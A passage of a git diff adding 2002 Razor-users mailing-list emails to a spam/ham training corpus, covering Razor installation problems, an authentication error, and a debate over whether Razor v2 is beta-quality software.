+"Duct tape is like the force; it has a light side & a dark side, and it + holds the universe together." - Zen Musings + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00534.962838bf5318d3d03d23385921f2c9f9 b/bayes/spamham/easy_ham_2/00534.962838bf5318d3d03d23385921f2c9f9 new file mode 100644 index 0000000..e93d953 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00534.962838bf5318d3d03d23385921f2c9f9 @@ -0,0 +1,72 @@ +From razor-users-admin@lists.sourceforge.net Wed Jul 24 00:37:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7598C440CD + for ; Tue, 23 Jul 2002 19:37:24 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 00:37:24 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6NNbG403982 for ; Wed, 24 Jul 2002 00:37:16 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X96R-0008Mo-00; Tue, + 23 Jul 2002 16:30:03 -0700 +Received: from grex.cyberspace.org ([216.93.104.34]) by + usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17X95o-0002EY-00 for ; Tue, + 23 Jul 2002 16:29:25 -0700 +Received: from localhost (boyhowdy@localhost) by grex.cyberspace.org + (8.6.13/8.6.12) with SMTP id TAA23447; Tue, 23 Jul 2002 19:30:11 -0400 +From: Scott Henderson +Reply-To: Scott Henderson +To: "Tabor J. Wells" +Cc: Razor-Users +Subject: Re: [Razor-users] can't find Razor/Client.pm +In-Reply-To: <20020723221601.GF24778@fsckit.net> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 23 Jul 2002 19:30:11 -0400 (EDT) +Date: Tue, 23 Jul 2002 19:30:11 -0400 (EDT) + +>> Thanks, Tabor. How do I install v1 over v2, and where does one +>> get it? (I don't see it at razor.sourceforge.net) +> +>It's there. Scroll down on the downloads page. However you might +>consider going the other way and installing SpamAssassin's 2.40 +>bleeding-edge code as Razor v2 has a lot of nice features over v1. + +Hmmm... installed SA 2.40, but I get the same error when trying +to launch amavisd-new (can't find Razor/Client.pm). Seems like +the amavis code is calling for this. I'll hit up the +amavis-users list. (Feel free to fire off the answer if you +have it, though! :) + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00535.48113b12c71d26438fdab9d6bfce0972 b/bayes/spamham/easy_ham_2/00535.48113b12c71d26438fdab9d6bfce0972 new file mode 100644 index 0000000..35c035a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00535.48113b12c71d26438fdab9d6bfce0972 @@ -0,0 +1,76 @@ +From razor-users-admin@lists.sourceforge.net Wed Jul 24 05:34:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7E5AC440CD + for ; Wed, 24 Jul 2002 00:34:02 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 05:34:02 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6O4Yt420289 for ; Wed, 24 Jul 2002 05:34:55 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XDfz-0007hz-00; Tue, + 23 Jul 2002 21:23:03 -0700 +Received: from h-66-134-120-173.lsanca54.covad.net ([66.134.120.173] + helo=stealthgeeks.net) by usw-sf-list1.sourceforge.net with smtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17XDf4-0002en-00 for + ; Tue, 23 Jul 2002 21:22:06 -0700 +Received: (qmail 98578 invoked by uid 1001); 24 Jul 2002 04:21:58 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 24 Jul 2002 04:21:58 -0000 +From: Patrick +To: razor-users@example.sourceforge.net +In-Reply-To: <20020711084825.W60740-100000@rockstar.stealthgeeks.net> +Message-Id: <20020723211828.Y98572-100000@rockstar.stealthgeeks.net> +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Subject: [Razor-users] Authentication Error +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 23 Jul 2002 21:21:58 -0700 (PDT) +Date: Tue, 23 Jul 2002 21:21:58 -0700 (PDT) + + +Today's error(received multiple times) was: + +Jul 23 21:16:39.288680 report[98557]: [ 2] Razor-Agents v2.12 starting +razor-report ./jobspam +Jul 23 21:16:46.597147 report[98558]: [ 1] razor-report error: reportit: +Error 213 while authenticating, aborting. + +I really like the concept of Razor but I find myself wondering if it's +really a good idea for the developers to be passing off what appears +to be alpha-quality software as production-ready.... + + +/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + Patrick Greenwell + Asking the wrong questions is the leading cause of wrong answers +\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00536.d9e0a6096220deb21fae9f92f61983ba b/bayes/spamham/easy_ham_2/00536.d9e0a6096220deb21fae9f92f61983ba new file mode 100644 index 0000000..ad83382 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00536.d9e0a6096220deb21fae9f92f61983ba @@ -0,0 +1,77 @@ +From razor-users-admin@lists.sourceforge.net Wed Jul 24 13:17:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2399A440CD + for ; Wed, 24 Jul 2002 08:17:53 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 13:17:53 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6OCEW411629 for ; Wed, 24 Jul 2002 13:14:32 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XKsD-0002Vr-00; Wed, + 24 Jul 2002 05:04:09 -0700 +Received: from dsl-65-187-98-81.telocity.com ([65.187.98.81] + helo=home.topshot.com) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17XKrC-0002Pq-00 for + ; Wed, 24 Jul 2002 05:03:06 -0700 +Received: from jberry12375l1 (berry12375l.topshot.com [10.0.0.50]) by + home.topshot.com (8.12.4/8.12.4) with ESMTP id g6OC2cnv054563 for + ; Wed, 24 Jul 2002 08:02:44 -0400 (EDT) +From: Joe Berry +X-Mailer: The Bat! (v1.61) Personal +Reply-To: Joe Berry +X-Priority: 3 (Normal) +Message-Id: <120130251381.20020724080232@topshot.com> +To: razor-users@example.sourceforge.net +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Subject: [Razor-users] Something wrong with Database? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 08:02:32 -0400 +Date: Wed, 24 Jul 2002 08:02:32 -0400 + +Until a few days ago, razor (sdk 2.03, client 2.12) was catching a +decent set of spams. It seems now, however, that it isn't catching +anything. I got one email this morning with "ADV:" in the subject +another two or three about how many inches longer I can be. Did I +miss something recently perhaps regarding configuration changes, etc? + +Thanks in advance, + +Joe +--- +Joe Berry +joe@topshot.com +AIM "joe topshot" +Yahoo Msgr "joetopshot" +Baltimore, MD + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00537.ae31b398b737ac17e44a17ae46818261 b/bayes/spamham/easy_ham_2/00537.ae31b398b737ac17e44a17ae46818261 new file mode 100644 index 0000000..6112ec6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00537.ae31b398b737ac17e44a17ae46818261 @@ -0,0 +1,98 @@ +From razor-users-admin@lists.sourceforge.net Wed Jul 24 15:22:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 69CC7440CD + for ; Wed, 24 Jul 2002 10:22:49 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 15:22:49 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6OELE418307 for ; Wed, 24 Jul 2002 15:21:14 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XMu1-0007Rr-00; Wed, + 24 Jul 2002 07:14:09 -0700 +Received: from 70.muca.bstn.bstnmaco.dsl.att.net ([12.98.14.70] + helo=pulse.fsckit.net) by usw-sf-list1.sourceforge.net with esmtp (Cipher + TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17XMtb-0004Jf-00 + for ; Wed, 24 Jul 2002 07:13:44 -0700 +Received: from twells by pulse.fsckit.net with local (Exim) id + 17XMtY-00010R-00; Wed, 24 Jul 2002 10:13:40 -0400 +From: "Tabor J. Wells" +To: Patrick +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] Authentication Error +Message-Id: <20020724141339.GD3208@fsckit.net> +References: <20020711084825.W60740-100000@rockstar.stealthgeeks.net> + <20020723211828.Y98572-100000@rockstar.stealthgeeks.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020723211828.Y98572-100000@rockstar.stealthgeeks.net> +User-Agent: Mutt/1.4i +X-Copyright: This email is Copyright (c)2002 by razor-users@fsckit.net. + All rights reserved. +X-Bofh: Do you feel lucky? +X-Jihad: I will hunt down all who spam my account. Try me. +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 10:13:40 -0400 +Date: Wed, 24 Jul 2002 10:13:40 -0400 + +On Tue, Jul 23, 2002 at 09:21:58PM -0700, +Patrick is thought to have said: + +> Today's error(received multiple times) was: +> +> Jul 23 21:16:39.288680 report[98557]: [ 2] Razor-Agents v2.12 starting +> razor-report ./jobspam +> Jul 23 21:16:46.597147 report[98558]: [ 1] razor-report error: reportit: +> Error 213 while authenticating, aborting. + +I believe this is fixed (or at least there's a workaround in place to try +again) in 2.125 + +> I really like the concept of Razor but I find myself wondering if it's +> really a good idea for the developers to be passing off what appears +> to be alpha-quality software as production-ready.... + +And where does it say production-ready? http://razor.sourceforge.net says at +the top of the page: + +June 13, 2002 - Vipul's Razor v2 released! The first beta of Vipul's Razor +v2 is now available for public download. + +Likewise Vipul's announcement post about v2 to this list states that it is +beta in the first sentence. + +Tabor + +-- +-------------------------------------------------------------------- +Tabor J. Wells razor-users@fsckit.net +Fsck It! Just another victim of the ambient morality + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00538.ee49a1c5453adab3dcec525ef63dd50b b/bayes/spamham/easy_ham_2/00538.ee49a1c5453adab3dcec525ef63dd50b new file mode 100644 index 0000000..b80684d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00538.ee49a1c5453adab3dcec525ef63dd50b @@ -0,0 +1,98 @@ +From razor-users-admin@lists.sourceforge.net Wed Jul 24 16:34:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 01B63440A8 + for ; Wed, 24 Jul 2002 11:34:47 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 16:34:47 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6OFZc422928 for ; Wed, 24 Jul 2002 16:35:38 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XO3a-00040T-00; Wed, + 24 Jul 2002 08:28:06 -0700 +Received: from h-66-134-120-173.lsanca54.covad.net ([66.134.120.173] + helo=stealthgeeks.net) by usw-sf-list1.sourceforge.net with smtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17XO2z-0002Fh-00 for + ; Wed, 24 Jul 2002 08:27:29 -0700 +Received: (qmail 2128 invoked by uid 1001); 24 Jul 2002 15:27:27 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 24 Jul 2002 15:27:27 -0000 +From: Patrick +To: "Tabor J. Wells" +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] Authentication Error +In-Reply-To: <20020724141339.GD3208@fsckit.net> +Message-Id: <20020724082600.I2086-100000@rockstar.stealthgeeks.net> +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 08:27:27 -0700 (PDT) +Date: Wed, 24 Jul 2002 08:27:27 -0700 (PDT) + +On Wed, 24 Jul 2002, Tabor J. Wells wrote: + +> On Tue, Jul 23, 2002 at 09:21:58PM -0700, +> Patrick is thought to have said: +> +> > Today's error(received multiple times) was: +> > +> > Jul 23 21:16:39.288680 report[98557]: [ 2] Razor-Agents v2.12 starting +> > razor-report ./jobspam +> > Jul 23 21:16:46.597147 report[98558]: [ 1] razor-report error: reportit: +> > Error 213 while authenticating, aborting. +> +> I believe this is fixed (or at least there's a workaround in place to try +> again) in 2.125 + +Thanks. + +> > I really like the concept of Razor but I find myself wondering if it's +> > really a good idea for the developers to be passing off what appears +> > to be alpha-quality software as production-ready.... +> +> And where does it say production-ready? http://razor.sourceforge.net says at +> the top of the page: +> +> June 13, 2002 - Vipul's Razor v2 released! The first beta of Vipul's Razor +> v2 is now available for public download. +> +> Likewise Vipul's announcement post about v2 to this list states that it is +> beta in the first sentence. + +I sit corrected. I guess we could argue if it's even beta quality(I'd say +I have about a 50/50 chance of reports being submitted), but I +don't think that would be productive. :-) + +/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + Patrick Greenwell + Asking the wrong questions is the leading cause of wrong answers +\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00539.4bbe4300d3fcd3f940045bed4ce31457 b/bayes/spamham/easy_ham_2/00539.4bbe4300d3fcd3f940045bed4ce31457 new file mode 100644 index 0000000..cc4caa0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00539.4bbe4300d3fcd3f940045bed4ce31457 @@ -0,0 +1,101 @@ +From razor-users-admin@lists.sourceforge.net Wed Jul 24 17:37:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4524A440A8 + for ; Wed, 24 Jul 2002 12:37:51 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 17:37:51 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6OGdA426649 for ; Wed, 24 Jul 2002 17:39:10 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XP0i-0007G2-00; Wed, + 24 Jul 2002 09:29:12 -0700 +Received: from mail12.speakeasy.net ([216.254.0.212] + helo=mail.speakeasy.net) by usw-sf-list1.sourceforge.net with esmtp + (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id + 17XOzy-0006KJ-00 for ; Wed, + 24 Jul 2002 09:28:27 -0700 +Received: (qmail 15217 invoked from network); 24 Jul 2002 16:28:20 -0000 +Received: from unknown (HELO RAGING) ([66.92.72.213]) (envelope-sender + ) by mail12.speakeasy.net (qmail-ldap-1.03) with SMTP + for ; 24 Jul 2002 16:28:20 -0000 +Message-Id: <00d301c2332f$1ca59b90$b554a8c0@RAGING> +From: "rODbegbie" +To: "Tabor J. Wells" +Cc: +References: <20020711084825.W60740-100000@rockstar.stealthgeeks.net> + <20020723211828.Y98572-100000@rockstar.stealthgeeks.net> + <20020724141339.GD3208@fsckit.net> +Subject: Re: [Razor-users] Authentication Error +Organization: Arsecandle Industries, Inc. +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2800.1050 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2800.1050 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 12:26:53 -0400 +Date: Wed, 24 Jul 2002 12:26:53 -0400 + +Tabor J. Wells wrote: +> And where does it say production-ready? http://razor.sourceforge.net +> says at the top of the page: +> +> June 13, 2002 - Vipul's Razor v2 released! The first beta of Vipul's +> Razor v2 is now available for public download. + +1) I think the code is still very much pre-beta. + +2) When you go to the "Download" page, it tells you "Fetch the latest +versions of razor-agents and razor-agents-sdk packages" It is not at all +clear that these are development packages. + +The site is badly designed, and very misleading. IMO. The fact that the +word "beta" appears in the middle of some introductory text on the front +page is hardly a valid argument. (Well accepted software design "fact": +USERS DON'T READ *ANYTHING*) + +I get the impression that Vipul & co are deliberately trying to mislead +users into downloading the dev code in order to get more unwitting test +sites. + +But that's just my opinion, I could be wrong. + +rOD. + +-- +Anyway... long story short... +...is a phrase whose origins are complicated and rambling. + +>> Doing the blogging thang again at http://www.groovymother.com/ << + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00540.529114377e8e602dba87ecf454cf132f b/bayes/spamham/easy_ham_2/00540.529114377e8e602dba87ecf454cf132f new file mode 100644 index 0000000..ba7e5b0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00540.529114377e8e602dba87ecf454cf132f @@ -0,0 +1,89 @@ +From razor-users-admin@lists.sourceforge.net Wed Jul 24 17:54:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E44E2440CD + for ; Wed, 24 Jul 2002 12:54:12 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 17:54:12 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6OGrL427635 for ; Wed, 24 Jul 2002 17:53:21 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XPE9-0001kI-00; Wed, + 24 Jul 2002 09:43:05 -0700 +Received: from mail16.speakeasy.net ([216.254.0.216] + helo=mail.speakeasy.net) by usw-sf-list1.sourceforge.net with esmtp + (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id + 17XPDq-0001J9-00 for ; Wed, + 24 Jul 2002 09:42:46 -0700 +Received: (qmail 4458 invoked from network); 24 Jul 2002 16:42:40 -0000 +Received: from unknown (HELO RAGING) ([66.92.72.213]) (envelope-sender + ) by mail16.speakeasy.net (qmail-ldap-1.03) with SMTP + for ; 24 Jul 2002 16:42:40 -0000 +Message-Id: <00f101c23331$1bdda5c0$b554a8c0@RAGING> +From: "rODbegbie" +To: +References: <20020711084825.W60740-100000@rockstar.stealthgeeks.net> + <20020723211828.Y98572-100000@rockstar.stealthgeeks.net> + <20020724141339.GD3208@fsckit.net> <00d301c2332f$1ca59b90$b554a8c0@RAGING> +Subject: Re: [Razor-users] Authentication Error +Organization: Arsecandle Industries, Inc. +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2800.1050 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2800.1050 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 12:42:14 -0400 +Date: Wed, 24 Jul 2002 12:42:14 -0400 + +rODbegbie wrote: +> I get the impression that Vipul & co are deliberately trying to +> mislead users into downloading the dev code in order to get more +> unwitting test sites. + +Apologies to all. In re-reading, that sentence sounds a lot harsher than I +intended. + +As the old maxim goes, "Never ascribe to malice that which can be equally +explained by incompetence". + +I'll shut up now. + +rOD. + +-- +"Fast! Fast! Faster! Bring the beef, you bastard," +cries Paula Abdul, "and don't forget the pasta!" + +>> Doing the blogging thang again at http://www.groovymother.com/ << + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00541.1265a8b805fce9d4f83a840966d82a6b b/bayes/spamham/easy_ham_2/00541.1265a8b805fce9d4f83a840966d82a6b new file mode 100644 index 0000000..f04abe5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00541.1265a8b805fce9d4f83a840966d82a6b @@ -0,0 +1,78 @@ +From razor-users-admin@lists.sourceforge.net Thu Jul 25 10:52:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9E9D1440D0 + for ; Thu, 25 Jul 2002 05:52:48 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 10:52:48 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6OHC1428584 for ; Wed, 24 Jul 2002 18:12:01 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XPXV-0005nC-00; Wed, + 24 Jul 2002 10:03:05 -0700 +Received: from h-66-134-120-173.lsanca54.covad.net ([66.134.120.173] + helo=stealthgeeks.net) by usw-sf-list1.sourceforge.net with smtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17XPXJ-0004st-00 for + ; Wed, 24 Jul 2002 10:02:53 -0700 +Received: (qmail 3720 invoked by uid 1001); 24 Jul 2002 17:02:51 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 24 Jul 2002 17:02:51 -0000 +From: Patrick +To: rODbegbie +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] Authentication Error +In-Reply-To: <00f101c23331$1bdda5c0$b554a8c0@RAGING> +Message-Id: <20020724095903.W3639-100000@rockstar.stealthgeeks.net> +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 10:02:51 -0700 (PDT) +Date: Wed, 24 Jul 2002 10:02:51 -0700 (PDT) + +On Wed, 24 Jul 2002, rODbegbie wrote: + +> rODbegbie wrote: +> > I get the impression that Vipul & co are deliberately trying to +> > mislead users into downloading the dev code in order to get more +> > unwitting test sites. +> +> Apologies to all. In re-reading, that sentence sounds a lot harsher than I +> intended. + +The question I have is: what needs to be done/help needs to be provided to +make the system suck less? It's obviously a great idea, it just needs some +work... + +/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + Patrick Greenwell + Asking the wrong questions is the leading cause of wrong answers +\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ + + + 